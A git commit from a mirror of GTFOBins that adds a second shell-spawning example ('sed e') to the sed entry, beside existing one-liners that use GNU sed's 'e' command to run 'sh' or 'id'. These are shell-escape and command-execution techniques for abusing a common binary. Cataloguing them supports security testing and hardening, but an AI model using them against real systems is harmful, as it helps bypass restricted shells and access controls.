1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 15:59:17 +01:00

Add sed shell alternative example

This commit is contained in:
Rich Mirch 2019-04-16 08:37:14 -05:00 committed by Andrea Cardaci
parent 3bc83dcbde
commit 20607b9b3c

@ -3,6 +3,8 @@ functions:
shell:
- description: GNU version only. Also, this requires `bash`.
code: sed -n '1e exec sh 1>&0' /etc/hosts
- description: GNU version only. The resulting shell is not a proper TTY shell.
code: sed e
command:
- description: GNU version only.
code: sed -n "1e id" /etc/hosts